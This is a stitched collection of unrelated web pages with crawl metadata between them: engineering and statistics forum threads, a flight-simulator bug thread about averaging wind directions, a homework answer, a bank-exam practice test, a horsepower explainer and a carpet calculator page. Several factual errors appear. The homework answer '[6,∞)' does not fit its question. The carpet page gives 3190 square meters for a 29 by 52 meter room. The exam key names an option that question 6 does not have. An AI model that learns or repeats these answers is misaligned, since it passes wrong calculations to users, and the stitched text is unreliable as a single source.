## ISO GD&T question
(OP)
Hi, i have a question regarding concentricity i hope some of you can help me with, i use ISO GD&T
I want 2 concentric circles to have be be toleranced concentric to eachother, to make sure they have the same center according to eachother. How shall this be illustrated? I have atteched a drawing of my idea of it, but the lead engineer disagrees. He says that using this method,there is no established centerpoint, so only one diameter can be toleranced, since the other establishes the centerpoint. But then one of the diameters doesnt have a tolerance, right?
Also shall some of the dimensions then be set as Theoretical exact dimension (TED) if i use general dimensions overall?.
### RE: ISO GD&T question
What you have is completely wrong. Concentricity only establishes the relationship of the center of two circles (or axis of two cylinders) to each other. It does not control size or form. One circle (or cylinder) is the datum and the other is toleranced to it. Also, concentricity ALWAYS has a diameter symbol in front of the tolerance value.
----------------------------------------
The Help for this program was created in Windows Help format, which depends on a feature that isn't included in this version of Windows.
### RE: ISO GD&T question
(OP)
Okey, but if i then use a circularity tolerance on the outer diameter. Then use this as a datum for concentrisity on the inner diameter will that be more correct? Then i am sure that both ID and OD are toleranced? See attached picture
Also using the OD as the datum, this references the centerpoint right?
Thank you for replies.
### RE: ISO GD&T question
Datums are the origin of dimensional measurement. So datum feature A - the outside diameter - is used to establish the theoretical axis line (which you called a point). You then "find" axis of the feature under GD&T control - the inside diameter - and compare it to the datum axis. The center of the cylindrical concentricity tolerance zone sits at the datum axis and the axis of the feature under control must lie on or inside the cylinder.
Certified Sr. GD&T Professional
### RE: ISO GD&T question
(OP)
Thank you for reply, but that doesnt really answer my questions. It would be great if someone could just show me the correct way to use the symbols on my drawing.
### RE: ISO GD&T question
JFP;
The symbols on your last sketch look fine to me. My only comment is the circularity form control on the outside is not required to define the concentric (location) relationship. It only controls the form of the outside diameter, which technically has nothing to do with finding the datum axis from it.
Certified Sr. GD&T Professional
### RE: ISO GD&T question
(OP)
Thank you very much for your reply. Using the circularity form control was only to control the OD.
But for my next question, shall the OD and ID dimensions now be Theoretically exact dimensions (TED)?
### RE: ISO GD&T question
JFP:
Definitely NOT. They are features-of-size and must be controlled with "+/-" tolerances. TED's would only be appropriate f you applied profile to control the outside feature.
Certified Sr. GD&T Professional
### RE: ISO GD&T question
(OP)
Okay, thank you so much for your help. It is apparant it is many things i dont understand about geometrical tolerancing yet. I actually have some questions regarding paralellity of multiple features too. I will make a new thread about it soon, hopefully you can help me there too.
### RE: ISO GD&T question
Your are most welcome. I am not an ISO GPS expert like many others who post to and follow this forum. But I am sure they will chime-in when the time comes.
Certified Sr. GD&T Professional
### RE: ISO GD&T question
Jorgen - You really should take a class in GD&T. Far to much to learn just asking questions on a forum. A good book can help but a class is better.
----------------------------------------
The Help for this program was created in Windows Help format, which depends on a feature that isn't included in this version of Windows.
### RE: ISO GD&T question
Jorgen Fone Pedersen,
The ASME Y14.5 standard is depreciating concentricity. Concentricity is not really meaningful unless you have an accurate cylinder to use as a datum feature. What you have is a circle. You can define one circle as your datum feature, and use the positional tolerance to locate the other circle.
As yourself how you are going to inspect anything you define by GD&T.
--
JHG
### RE: ISO GD&T question
JFP:
I totally agree with dgallup's and drawoh's posts. But be aware, this is a subject as deep as there are parts to design and dimension. Stay with it and the rewards will be great.
Certified Sr. GD&T Professional
### RE: ISO GD&T question
drawoh,
May I ask why you are mixing ASME Y14.5 into this discussion. The thread title clearly states it is ISO question, and it was explained many many many times before on this forum that concentricity in ASME is totally different animal than concentricity/coaxiality in ISO.
### RE: ISO GD&T question
pmarc,
I know there are differences, and I actually do not know what the differences are. I understand ASME Y14.5. Also, we cannot tell if the OP is visualizing a plate or a shaft. A shaft would provide a cylindrical datum feature.
Having said that, a positional tolerance should work for this?
--
JHG
### RE: ISO GD&T question
In ISO a position tolerance is no different in meaning to a concentricity tolerance applied to a 3D feature (the control is then called Coaxiality). And because in ISO concentricity/coaxiality tolerance is suggested/preferred choice over position in cases where location of features of size nominally coaxial with datum feature needs to be controlled, I see no point in using position tolerance here.
### RE: ISO GD&T question
5. Coaxiality tolerance:
- ASME - coaxiality is nothing but position tolerance applied to nominally coaxial features of size. There is no extra symbol for that characteristic.
- ISO - coaxiality is also nothing but position tolerance applied to nominally coaxial features of size, but it has a separate symbol (the same as concentricity symbol in ASME).
6. Concentricity tolerance:
- ASME - this geometric characteristic has very special definition (control of feature of size's median points relative to datum axis), so it is never a special case of position.
- ISO - concentricity has the same symbol as coaxiality, but in addition the ACS modifier (Any Cross Section) is associated with the tolerance frame. This characteristic controls relationship between the toleranced feature and the datum feature in each cross section individually.
The strike through text is still valid, but regards to ASME and I do not want to get in trouble......with the original text posted by pmarc.
### RE: ISO GD&T question
I sincerely apologize for having added only confusion to this ISO question. In the future I will hold my tongue and defer all ISO questions and waiting for pmarc to chime-in. He is the ISO vs ASME man! I will "silently" follow the posts and learn along with the OP.
Certified Sr. GD&T Professional
### RE: ISO GD&T question
mkcski,
If I could suggest something, I would strongly encourage you and others NOT to wait for my replies in ISO-related discussions. I do not have monopoly for knowledge (not to mention that I do not even consider myself expert in ISO GPS) and I am pretty sure many folks on this forum, including you, have a lot of meaningful and valuable things to say.
I jumped into this discussion only because I wanted to keep the discussion and OP focused on ISO stuff and not get distracted by some statements on how bad and meaningless concentricity in ASME Y14.5 is (sorry, drawoh ). As you most likely noticed, up to that point I did not even offer any help to OP. That is because almost everything had been already said by you, CH and dgallup.
### RE: ISO GD&T question
pmarc:
I really appreciate your response. My confidence with ISO improves as I follow this forum. I will be more reserved when I respond to ISO questions so I don't mislead the OP with false information. I also realize you must try to measure the knowledge of the OP from the content of the questions so you don't talk past them and add more confusion.
Certified Sr. GD&T Professional
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Register now while it's still free! | 2,110 | 9,540 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.53125 | 3 | CC-MAIN-2018-13 | latest | en | 0.922543 |
https://stats.stackexchange.com/questions/389273/regression-are-these-residuals-normally-distributed | 1,656,661,801,000,000,000 | text/html | crawl-data/CC-MAIN-2022-27/segments/1656103922377.50/warc/CC-MAIN-20220701064920-20220701094920-00725.warc.gz | 591,745,853 | 65,976 | # Regression: Are these residuals normally distributed?
I have read a lot about the importance of the residuals being normally distributed. In order to check whether my own regression fulfils the OLS assumptions, I plotted the following QQ plot:
I assume the curve on the upper right may be a problem for normal distribution. Unfortunately, I have no idea what is the benchmark for normal distribution. Looking at this plot, could you help me with identifying the distribution scheme of the residuals? Are they normally distributed or not?
• Why not use the qqPlot function from the car package (rdocumentation.org/packages/car/versions/3.0-2/topics/qqPlot)? This function produces a confidence envelope around the diagonal line suggesting compatibility of the studentized residuals with the normal distribution. If all the points in the plot fall within the confidence envelope, compatibility is supported. Jan 26, 2019 at 19:14
• You can't interpret a QQ plot of residuals if there's lack of fit or heteroskedasticity. Assuming those are fine, it's clearly right skew, though not terribly severely. What is your response variable? What's the model for? Jan 27, 2019 at 1:07
• Regarding having confidence envelopes around QQ plots, this is a good idea but beware that the power to detect non-normality is not 1.0 and that a "false negative" finding can result in overly trusting the normality assumption. To the original point, when normality is not known to hold, I would use a statistical method that does not assume it, e.g., semiparametric regression (ordinal regression). Jan 27, 2019 at 13:02
How many observations you have? Is it a continuos variable?
You should also check the homoscedasticity with residuals vs fitted plots. If there is no pattern in your residuals, you can assume homoscedasticity:
Besides the qqplots, check the residuals histograms
hist(resid(model))
The histogram should looks like a bell shape
You could also use the shapiro wilk test
shapiro.test(resid(model))
If your p-value is non significant you can assume normality.
Regarding your qqplot, they are not perfectly normal, but, it is not common data that show a perfect behavior, you should consider these other inspections to check normality.
If you found a problem look for transformations, such as log, cube root, etc, it will depends of your data type, skewness, etc.
Good luck! | 520 | 2,384 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.078125 | 3 | CC-MAIN-2022-27 | longest | en | 0.904768 |
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## Profile posts Latest activity Postings About
• Hi. jermstur.
I'm still a amateur, too.
If you use 5 of 1N5405 and 0.2ohm at 1.2A like this:
flexdrive(+)--1N5404--1N5404--1N5404--1N5404--1N5404--0.2ohm--flexdrive(-)
1. the minimum wattage of resistor should be 0.288W.
[ P = I * V = I * (I * R) = 1.2 * 1.2 * 0.2 = 0.288 W ]
2. total voltage drop
= Vdrop of 1N5404 + Vdrop of reistor[ V = I * R ]
= 0.8 * 5 + 1.2 * 0.2
= 4.24V
3. the current of your test load should be 5 times of the voltage measured at your DMM.
V = I * R = I * 0.2
I = 5 * V
It is difficult to simulate exact Vdrop because there is some variation between laser diodes, and Vdrop of 1Nxxxx is 0.7-0.9V fixed step, not a spectrum.
I tested with 1ohm. It's simple V=I.
And remember one thing. At near 1A, 5-pin chip of flexdrive should be heatsinked. | 348 | 956 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.578125 | 3 | CC-MAIN-2021-49 | latest | en | 0.844047 |
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# Average route winds
## Recommended Posts
I think I had a problem with average route winds in build 163.Could Damian or Jim comment on the attched screen shot please?It looks to me as though the winds are NW to NE yet the average route wind is shown as 166 degrees which seems to be 180 degrees out?BTW thanks for the latest build guys.http://forums.avsim.net/user_files/105414.jpg
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Hi,I came out with 171 by hand.You have 10 SWYou have 4 NWYou have 10 NEYou are looking at the WDIR right?Hope this helps,JimActiveSky Supporthttp://www.hifisim.com/images/as2004proudsupporter.jpg
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Hi Jim,I don't know how does AS calculate the average wind, but if it's calculated taking into account direction AND speed, the correct value for the above flight plan should be 305/77 (that is the computed value if you do a sum that calculates a "weight" for each value multiplying direction x speed, effectively giving you a vectorial sum).If it takes into account only direction, the correct value should be 352 as for direction and still 77 kts as for speed.171 or 166 seem to me both wrong.
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>You are looking at the WDIR right?
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I think it is a problem of the program not knowing where the winds are. The average is the sum of all the numbers divided by the amount of numbers added up (25 I think). Adding up the directions I got 4146 and divided that by 25 to get 165.84 or 166 which is in the average.Now The problem I am talking about is that the program does not realize that the winds are swinging from NW-N-NE as we see in increasing direction values. Extrapolating the teens and twenties numbers with 360 added (there were 11 of them, so add 11x360 to the 4146 added above to get 8106) and divided by 25 I got an average wind component of 324.24, which should be the proper answer.Instead, the program assumes that the winds went from NW-W-SW-S-SE-E-NE hence the average of 166.I guess what I'm trying to point out is that the wind can swing both directions.I guess it another bug that might be able to be fixed by the gurus from hifi!!!DevinCYOW
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It's a simple arithmetic average - add up all the WDIR values and divide by the total number of entries. Works out to to about 165.86, rounded up to 166. The difficulty is that you have a severe wind direction shift mid-way through the route; the values don't "cancel" each other out, rather they "average" out to 166 which won't help much in FMC calculations unless you enter the average for the first series of the generally westerly winds, then update with the average of the generally easterly winds mid-way through the flight.Jerry PostKORF
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Thanks for all the replies and math calculations but I still think there is a problem especially if wind speed is taken into account, less so if speed for each direction is ignored.It is many decades since I had to use vector diagrams so I had to go looking on the net on how to produce them.I started by breaking the reported values down into quadrants and averaging the direction and speed, the results I got were231 degrees at 68.6kts332 degrees at 26kts24 degrees at 90kts.If you do a head-to-tail vector diagram of those values you should end up with a wind direction of 350-020 degrees, not 160 degrees.I cannot be more accurate because I only sketched the vectors, even ignoring the wind speed and making the vectors the same length (same wind speed) you still end up with a Northerly wind not a Southerly one.If anyone needs help with vector diagrams, as I did, try this link.http://www.glenbrook.k12.il.us/gbssci/phys...tors/u3l1b.htmlI don't wish to labour the point and I leave it up to Damian and team if they wish to look at the problem but I will now look more closely at those average winds before entering them in a fuel planner for head or tail wind.Rgds
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Hi All,Thanks to everyone for their ideas! It's good to see everyone's thoughts without bashing and name calling as can happen in other forums. I used the simple math average, but must have punched a number in wrong. There is only one way to know for sure, so I'll point Damian to this thread. Maybe it's a bug or maybe it's a simplestic calculation!Hope this helps,JimActiveSky Supporthttp://www.hifisim.com/images/as2004proudsupporter.jpg
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Hi all :)It's a bug in the calculations... Will get this fixed ASAP! Thanks for all the feedback!Best,
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No All.... I didn't get a chance to point this out!!Hope this helps,JimActiveSky Supporthttp://www.hifisim.com/images/as2004proudsupporter.jpg
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Jim,>It's good to see everyone's thoughts without bashing and name calling as can happen in other forums.
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Hi Damian,in the fix you plan to implement the vectorial sum ? This will give a much more correct result !Thanks a lot.Enrico.
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Hi Enrico,The fix was a simple correction of the code, the wrong variable was called in the summing of the "itemized" directions. If workdirection > 180 then workdirection = workdirection - 360. Unfortunately before it was if workdirection > 180 then = - 360. Thus it was never properly making the >180 values negative and thus the incorrect calculation when the wind swings around the 0deg mark.All fixed! B173 available at top of forum!Thanks again all!
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Many thanks for the fix Damian for what was probably an obscure bug.
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You're very welcome - And many thanks for helping us isolate it!!!
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Hi, I'm using Build 174 and I think there may still be a problem with the average route winds calculation. See below for a flight plan from VHHH to WSSS. The winds seem to be mostly from the W, then S and then SE. And yet, the average route winds are 328/40 - the NW. Seems a bit strange.Thanks,EdwinVHHHPORPA 7.1 79 77 265 85 -39.5 450 534 1Fix01 2.4 128 135 265 85 -39.5 450 510 1BREAM 31.9 181 191 265 85 -39.5 450 436 4PERCH 17.8 206 215 265 85 -39.5 450 402 2SANDI 67.4 190 200 265 85 -39.5 450 423 9EPDOS 84.4 188 198 265 85 -39.5 450 425 11ENBOK 26.8 188 196 266 71 -39.9 450 431 3EPKAL 51.8 217 223 266 71 -39.9 450 401 7EGEMU 64.2 218 224 266 71 -39.9 450 400 9EXOTO 121.3 216 223 266 71 -39.9 450 401 18VEPAM 103.2 216 218 281 19 -41.3 450 441 14KARAN 93.0 212 214 281 19 -41.3 450 442 12PTH 121.2 211 212 277 15 -41.2 450 443 16ELSAS 56.5 213 214 269 11 -41.1 450 443 7CS 100.2 212 213 269 11 -41.1 450 443 13ESPOB 121.8 211 212 269 11 -41.1 450 444 16ENREP 149.5 211 210 192 8 -41.1 450 442 20VEPLI 60.6 188 187 136 7 -41.3 450 445 8EGOLO 33.1 188 187 136 7 -41.3 450 445 4VMR 56.9 188 187 136 7 -41.3 450 445 7VJR 42.2 200 198 113 12 -41.4 450 449 5JB 14.8 158 156 113 12 -41.4 450 441 2SJ 18.7 152 151 113 12 -41.4 450 440 2FF02L 4.4 85 86 118 16 -41.5 450 436 1WSSS 7.8 22 24 118 16 -41.5 450 451 1 ----- ----- 1458.9 193m 3.22HAverage Route Winds for 37000ft: 328/40
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Nobody has any ideas? Or perhaps it's because the table isn't aligned so it's hard to see what I'm talking about? I'll try to make things easier below:(Format: Waypoint - WDIR WSPD)PORPA - 265 85Fix01 - 265 85BREAM - 265 85PERCH - 265 85SANDI - 265 85EPDOS - 265 85ENBOK - 266 71EPKAL - 266 71EGEMU - 266 71EXOTO - 266 71VEPAM - 281 19KARAN - 281 19PTH - 277 15ELSAS - 269 11CS - 269 11ESPOB - 269 11ENREP - 192 8VEPLI - 136 7EGOLO - 136 7VMR - 136 7VJR - 113 12JB - 113 12SJ - 113 12FF02L - 118 16WSSS - 118 16Any ideas would be much appreciated.Many thanks in advance.Edwin
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Edwin,If you reduce those winds to 2 components you get an approximation of 269@55 and 130@11The SE winds are 1/5 the strength of the Westerly winds so I would expect something in the region of 240 degrees not 328You can do a vector diagram using rule and protractor to get a closer approximation.See my earlier post on average winds for a link to a web site on how to construct vector diagrams.HTH
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Thanks Vulcan. That confirms my suspicion.Jim, could you please get Damian to look again at the calculation?Thanks again.Edwin
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Hi,Will do. Keep in mind that he has some real-world stuff happening in the next few days.Hope this helps,JimActiveSky Supporthttp://www.hifisim.com/images/as2004proudsupporter.jpg
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Hi all,Well we had quite a few success reports in B174 for average route winds, but it is apparent the calculations aren't sophisticated enough to handle all situations. Indeed, the wind speed is not correctly considered in determining the displayed average, and this is throwing things off especially when you have large variations in speed.We will re-design this but it may take a little time, as we are currently deep into final coding of the next major version upgrade, and as Jim mentioned, I have some other personal priorities that will keep me busy over the next couple days.Vulcan and those who have been testing this, please send me an e-mail in about a week, I will send you a build with the re-designed calculation and we can test it a good deal before providing an official update. Your help is much appreciated!Thanks all..
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• Create New... | 3,122 | 11,261 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.40625 | 3 | CC-MAIN-2019-43 | longest | en | 0.949071 |
http://www.algebra.com/algebra/homework/Inequalities/Inequalities.faq.question.622199.html | 1,369,247,403,000,000,000 | text/html | crawl-data/CC-MAIN-2013-20/segments/1368702185502/warc/CC-MAIN-20130516110305-00033-ip-10-60-113-184.ec2.internal.warc.gz | 311,624,593 | 4,341 | # SOLUTION: The solution for x is greater or lesser than 6 written in interval notion is ___?
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Click here to see ALL problems on Inequalities Question 622199: The solution for x is greater or lesser than 6 written in interval notion is ___?Answer by lynnlo(4163) (Show Source): You can put this solution on YOUR website![6,∞) | 177 | 738 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.515625 | 3 | CC-MAIN-2013-20 | latest | en | 0.870056 |
http://www.ibpsguide.com/2016/09/ibps-poclerk-exam-2016-section-wise-full-test-51.html | 1,500,575,065,000,000,000 | text/html | crawl-data/CC-MAIN-2017-30/segments/1500549423320.19/warc/CC-MAIN-20170720181829-20170720201829-00117.warc.gz | 460,450,532 | 87,078 | ## 21 Sep 2016
### IBPS PO/Clerk Exam 2016 – Section wise Full Test-51
IBPS PO/Clerk Exam 2016 – Section wise Full Test-51:
Dear Readers, IBPS PO/Clerk 2016 was approaching, for that we have given the Section wise Full Test which consist of all the three sections such as, Aptitude, Reasoning, and English. This Section wise Full Test will be provided on daily basis kindly make use of it.
QUANTITATIVE APTITUDE
1). The simple interest accrued on amount of Rs. 40,000 at the end of three years is Rs. 12,000. What would be the compound interest accrued on the same amount at the same rate in the same period?
a) Rs. 18,765
b) Rs. 15,350
c) Rs. 21,555
d) Rs. 13,240
e) None of these
2). Deepa rides her bike at anaverage speed of 30 km/hr and reaches her destination in 6hours. Hema covers the same distance in 4 hours. If Deepa increases her average speed by10 km/hr. and Hema increases her average speed by 5 km/hr. what would be the difference intheir time taken to reach the destination?
a) 54 minutes
b) 1 hour
c) 40 minutes
d) 45 minutes
e) None of these
3). What would be the cost of building a fence around a circular field with area equal to 32378.5 sq meters, if the price per meter forbuilding the fence was Rs. 154?
a) Rs. 84, 683
b) Rs. 86,495
c) Rs. 79,326
d) Rs. 98,252
e) None of these
4). When all the students in a schoolare made to stand in rows of 54,30 such rows are formed. If thestudents are made to stand in therows of 45, how many such rowscan be formed?
a) 25
b) 42
c) 36
d) 32
e) None of these
5). Vinod makes a profit of Rs. 110 if he sells a certain number of pencils at the price of Rs. 2.5 perpencil and incurs a loss of Rs. 55 if he sells the same number of pencils for Rs. 1.75 per pencil.How many pencils does Vinod have?
a) 220
b) 240
c) 200
d) Cannot be determined
e) None of these
REASONING
Directions (6 – 10): Studythe given information carefully toanswer the given questions.
A, B, C, D, K, L and M live onseven different floors of a buildingbut not necessarily in the same order.The lower most floor of the building is numbered one, the one above thats numbered two and so on till the topmost floor is numbered seven. Eachone of them also likes a different game, namely Snooker, Badminton, Chess, Ludo, Cricket, Hockey and Polo. (but not necessarily in the sameorder)
Only three persons live betweenB and K. B lives on one of the floors above K. K does not live on thelower most floor. Only one person lives between B and the one wholikes Chess. The one who likes Polo lives on one of the even-numbered floors above the one who likes Chess. Only two persons live between M and the one who likes Chess.The one who likes Snooker lives immediately above M. A lives immediately above L. A does not like Chess. The one who likes Ludo live some one of the odd numbered floors below L. M does not like Ludo. D lives on one of the floors above C.Only one person lives between theone who likes Cricket and the onewho likes Hockey. D does not likeCricket. M does not like Badminton.
6). Which of the following games does B like?
a) Snooker
b) Ludo
c) Polo
e) Chess
7). Who among the following live some of the floor numbered 4?
a) The one who likes Hockey
b) The one who likes Chess
c) A
d) L
e) B
8). Which of the following statementsis TRUE with respect tothe given arrangement?
a) Only two persons live betweenK and M.
b) The one who likes Hockey lives immediately above K.
c) C likes Chess.
d) C lives on an even-numbered floor.
e) None of the given options istrue
9). If all the persons are made to sit in alphabetical order from top to bottom, the positions of how many people will remain unchanged?
a) None
b) Three
c) Two
d) One
e) Four
10). Which of the following combinationsis True with respect tothe given arrangement?
a) Polo - C
b) Ludo - B
c) Cricket - K
d) Chess - L
e) Snooker – A
ENGLISH
Directions (Q. 11-15): In each of the following sentences there are two blank spaces. Below each sentence there are five pairs of words denoted by a), b). c). d). and e). find out which pair of words can be filled up in the blanks in the sentence in the same sequence to make it meaningfully complete.
11). The renaissance spirit of _____ of the mysterious and unknown world has become a ______ of the past.
a) Exploration, phenomenon
b) Transparency, story
c) Unfolding, question
d) Visualizing, memory
e) Displaying, subject
12). When the _______ of our Constitution defined a ______India, they tried their best to put in checks and balances to protect our minorities.
a) Forefathers, tolerant
c) Architecture, social
d) Caretakers, divine
e) Framers, secular
13). Man’s enemies are within himself and can be ______ by ______.
a) Controlled, force
b) Conquered, introspection
c) Caught, passion
d) Surrendered, loving
e) Driven, generosity
14). Since any effort to _____ telecom is doomed to failure, the ______ solution may lie outside the legal system, in policy decisions by the government.
b) Regulate, ultimate
c) Operate, single
d) Open, final
e) Regularize, hardly
15). In a democracy where the poor and the disadvantaged are the majority, no government can ______ their _______.
a) Sustain, demands
b) Challenge, issues
c) Fulfil, needs
d) Change, fortune
e) Ignore, interests
1)d 2)a 3)d 4)c 5)a 6)d 7)a 8)b 9)c 10)d 11)a 12)e 13)b 14)b 15)e
Solutions:
1). d)
For three years the SI = 12000 => For 1 year SI = 4000
Therefore Rate of Interest = 10%
We know the concept of change in percentage x + y + (xy/100). In this case the both x and y are same which is 10
For first year rate of Interest = 10%
So two years rate of Interest = 10 + 10 + 100/100 = 21
For three years rate of Interest = 21 + 10 + (21 x 10/100) = 33.1
Then CI = 33.1/100 x 40000 = 13240
2). a)
Deepa rides distance = 30 x 6 = 180km
Heena speed = 180/4 = 45kmph
=> Required difference = 180/40 – 180/50 = 4.5 – 3.6 = 0.9 hours = 54 minutes
3). d)
r2 = 32378.5 => r = 101.5m
Therefore circumference of circle = 2r = 2 x 22/7 x 101.5 = 638 meters
Therefore Expenditure on facing= Rs. (154 × 638) = Rs. 98,252
4). c)
54 x 30 = 45 x ? => ? = 36
5). a)
Let the number of pencils with Vinod be x
Therefore 2.5 × x − 1.75 × x = 110 + 55 => x = 220
(6 – 10):
Floor Person Game 7 B Badminton 6 A Polo 5 L Chess 4 D Hockey 3 K Snooker 2 M Cricket 1 C Ludo
6). d)
7). a)
8). b)
9). c)
10). d) | 1,925 | 6,418 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.484375 | 3 | CC-MAIN-2017-30 | latest | en | 0.877946 |
https://www.pakwheels.com/blog/understanding-the-term-horsepower/ | 1,558,606,950,000,000,000 | text/html | crawl-data/CC-MAIN-2019-22/segments/1558232257197.14/warc/CC-MAIN-20190523083722-20190523105722-00423.warc.gz | 896,087,542 | 23,421 | # Understanding the term ‘Horsepower’
The term ‘horsepower’ (hp), which represents the unit of power, was first introduced by James Watt in 1782 in order to help market his improved version of steam engine. James Watt (1736-1819) was a Scottish scientist, who brought the fundamental changes in the steam engine. This started off the Industrial Revolution in England. The background history of the term ‘horsepower’ goes like this:
In olden days the mill wheel used to be turned by the horses. James Watt observed that a wheel of 12 feet in radius could be turned 144 times in an hour by one horse. This meant that in one minute the horse traveled 2.4 × 2π × 12 feet. He calculated that the horse could pull with a force of 180 lbs.
This historical value, originally derived from the unit power of a horse, was converted to SI unit for power, the Watt (W). However, the concept of horsepower continued to exists particularly in automotive industry as a legacy term for measuring the maximum power the internal-combustion engine can generate.
Measuring the Value:
There are several points in the transmission channel (from its generation to wheels to its application on ground surface) where the power of engine can be measured. The following are the various names given to the development of power at various stages in this process.
Indicated Horsepower (ihp):
This was most commonly used for steam engines during 19th century. The “Indicated horsepower” is applied to engines which convert the energy generated by the expanding gases within the cylinders. Therefore it is calculated from the pressure that develops within the cylinders and is measured by an Engine Indicator device – hence called Indicated Horsepower.
Brake Horsepower (bhp):
The net ratings given by the “American Society of Automotive Engineers” (SAE), which is more accurate than gross ratings, represent the power of engine at the flywheel, and does not measure power at the drive wheels. Brake horsepower in fact is the measure of a horsepower of engine without the loss in power caused by the gearbox, generator/alternator, differential, water-pump and other auxiliaries. The corollary is that the horsepower delivered to the driving wheels is much less than the one generated at the engine end. Therefore, the engine will have to be tested all over again in altogether another system so as to obtain an authentic rating.
Shaft Horsepower (shp):
The Shaft horsepower relates to the power delivered to the propelling shafts of an aeroplane or a ship as therefore this metric does not pertain to automobiles as such.
Effective Horsepower (ehp) also called Wheel Horsepower(whp):
Effective horsepower is the power converted into some sort of useful work . For example the power generated by the engine in vehicle is converted into forward motion. This effective horsepower is often referred to as the ‘Wheel Horsepower’ in automobiles. The wheel horsepower in vehicles is mostly measured by the automotive dynamo-meters. The net or Brake horsepower at the engine is then calculated once a conversion factor has been applied upon. Because of a loss through the drive-train, the Brake Horsepower ratings will often be 5-15 % higher than the Wheel Horsepower. | 669 | 3,240 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.75 | 3 | CC-MAIN-2019-22 | latest | en | 0.96781 |
https://www.calculatorpro.com/calculator/metric-carpet-calculator/ | 1,725,810,467,000,000,000 | text/html | crawl-data/CC-MAIN-2024-38/segments/1725700651013.49/warc/CC-MAIN-20240908150334-20240908180334-00399.warc.gz | 673,066,737 | 21,357 | # Metric Carpet Calculator
Metric Carpet Calculator
Room Width:
Room Length:
Carpet Roll Width:
Need multiple calculators?
We offer bulk pricing on orders over 10 calculators.
Not what you're looking for?
### Metric Carpet Definition
The Metric Carpet Calculator is a great tool for when you are planning to purchase carpet. The calculator not only calculates the square footage of carpet, it also lets you specify the width the manufacturer will give you for a roll of carpet.
The simple design of the calculator only makes it easy to use. There are three inputs:
• Room Width
• Room Length
• Carpet Roll Width
The inputs are designed to take the measurements in meters, but if you can handle the conversion yourself, you can enter it in centimeters, decimeters, and kilometers too. This calculator also looks like a calculator and will be easily recognized as such because of its simple design.
### How to Use the Calculator
You’ve entered the room width of 29 meters, room length of 52 meters, and carpet roll width of 100 meters. The next step is to click on the calculate button. The Metric Carpet Calculator will then display:
You need approximately 3190.0 square meters.
The amount of carpet needed for the room in question is calculated, and now you can figure out the cost of carpeting the room because you now know how much you need. The estimate to renovate the bedroom, dining room, family room, living room or office can now be completed.
### Any Foreseeable Problems
Unfortunately, this calculator does not do English units such as inches or feet, and cannot do the calculation properly. Check out the Imperial Carpet Calculator Stick.
If you forget to add an input, the calculator is good enough to tell you that an error had occurred and that you need to check your inputs. It is recommended that you double check your inputs just to be sure that you put the right value for a given input.
### How to Calculate Metric Carpet
